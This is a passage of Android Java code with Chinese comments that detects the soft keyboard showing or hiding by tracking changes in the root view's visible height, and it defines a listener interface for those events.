//根視圖顯示高度變小超過200,可以看作軟鍵盤顯示了
if (rootViewVisibleHeight - visibleHeight > 200) {
if (onSoftKeyBoardChangeListener != null) {
onSoftKeyBoardChangeListener.keyBoardShow(rootViewVisibleHeight - visibleHeight);
}
rootViewVisibleHeight = visibleHeight;
return;
}
//根視圖顯示高度變大超過200勺拣,可以看作軟鍵盤隱藏了
if (visibleHeight - rootViewVisibleHeight > 200) {
if (onSoftKeyBoardChangeListener != null) {
onSoftKeyBoardChangeListener.keyBoardHide(visibleHeight - rootViewVisibleHeight);
}
rootViewVisibleHeight = visibleHeight;
}
});
}
private void setOnSoftKeyBoardChangeListener(OnSoftKeyBoardChangeListener onSoftKeyBoardChangeListener) {
this.onSoftKeyBoardChangeListener = onSoftKeyBoardChangeListener;
}
public interface OnSoftKeyBoardChangeListener {
void keyBoardShow(int height);
void keyBoardHide(int height);
}
public static void setListener(Activity activity, OnSoftKeyBoardChangeListener onSoftKeyBoardChangeListener) {
SoftKeyBoardListener softKeyBoardListener = new SoftKeyBoardListener(activity);
softKeyBoardListener.setOnSoftKeyBoardChangeListener(onSoftKeyBoardChangeListener);
}
}